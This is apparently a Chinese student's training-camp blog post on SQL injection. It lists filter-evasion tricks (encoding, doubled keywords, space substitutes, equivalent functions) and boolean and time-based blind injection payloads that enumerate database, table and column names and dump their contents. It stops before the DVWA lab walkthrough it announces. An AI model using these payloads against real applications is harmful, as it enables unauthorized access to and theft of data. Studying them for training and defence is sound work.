Fork me on GitHub

集训的第四天:有关SQL绕过和盲注

学姐今天给我们讲解了有关SQL绕过和盲注的知识。我们动手操作了几次实验。

数字型SQL注入

SQL注入的过程中有些特定的字符或者字符串会被过滤,数据库无法了解正确的查询语句。

如何绕过过滤

运用编码技术绕过

ASCII码

CHAR(101, 97, 115, 116)等价于east

URL编码

0x61646D696E等价于admin

重复:

例如 :seleselectct和admadminin

大小写交替:

例如:SeLEct和UnIOn

空格的绕过

用两个空格或者TAB代替

%a0代替

/**/代替

用括号()代替

用+代替

用花括号{}代替

用单引号或双引号代替

关键表名过滤绕过

information_schema(这里空格).(这里空格)tables

过滤等号

用like

过滤引号

0x7573657273即等于”users”

过滤大于小于号

函数greatest()和least()分别替代(>)和(<)

例如:

select * from users where id=1 and ascii(substr(database(),1,1))>64

`

等价于

`mysql

select * from users where id=1 and greatest(ascii(substr(database(),1,1)),64)=64

过滤逗号

substr(str,1,1)

等价于

substr(str from 1 for 1)

SLEEP函数中不能用数字

用pi()和ceil()过滤

sleep(ceil(pi()))

过滤注释符(#、 –+)

用闭合的方式:

1’ and ‘1

采用重复的技术绕过

宽字节注入

order by被过滤

使用into变量来绕过:

select * from users limit 1,1 into @a,@b,@c

利用等价函数

hex()、bin() ==> ascii()

sleep() ==> benchmark()

concat_ws() ==> group_concat()

mid()、substr()==> substring()

@@user ==> user()

@@datadir ==> datadir()

MYSQL条件注释利用

/!../

以上语句在其他数据库中不执行,但在MYSQL中执行

/!50000…/

以上语句在50000版本以上不执行,否则必执行,用于过滤正则表达式

盲注

SQL盲注常用函数:

if和case when:用于时间盲注

substring、substr、mid等:用于截断字符串

ascii:使字符变成ASCII码

limit offset:用于猜取内容

布尔盲注

即只有TRUE和FALSE两种状态,过程中需要猜测,直到正确为止

判断是否有盲注点

1’ and 1=1 # 返回TRUE

1’ and 1=2 # 返回FALSE,并且没有返回

即SQL语句执行成功和失败的返回界面存在某种固定的差异

猜解库名、表名、列名、内容

1’ and substr(database(),1,1)=’a’ # 猜解库名

1’ and substr((select group_concat(table_name) from information_schema.tables where table_schema=’DatabaseName’),1,1)=’a’ # 猜解表名

1’ and substr((select group_concat(column_name) from information_schema.columns where table_name=’TableName’),1,1)=’a’ # 猜解列名

1’ and substr((select group_concat(SomeThing) from DatabaseName.TableName),1,1)=’a’ # 猜解表名

时间盲注

即对一个命令只有一个固定的反应,如果是正确的就会等待一定的时间再反应,如果错误立即反应

判断是否有盲注点

1’ and if(1=1,sleep(5),1) # 延迟返回为TRUE

1’ and if(1=2,sleep(5),1) # 不延迟返回为FALSE

基本与布尔盲注类似

猜解库名、表名、列名、内容

1’ and if((substr(database(),1,1)=’a’),sleep(5),1) # 猜解库名

1’ and if((substr((select group_concat(table_name) from information_schema.tables where table_schema=’DatabaseName’),1,1)=’a’),sleep(5),1) # 猜解表名

1’ and if((substr((select group_concat(column_name) from information_schema.columns where table_name=’TableName’),1,1)=’a’),sleep(5),1) # 猜解列名

1’ and if((substr((select group_concat(SomeThing) from DatabaseName.TableName),1,1)=’a’),sleep(5),1) # 猜解表名

上课的DVWA题

以下为猜解过程:

本站访客数: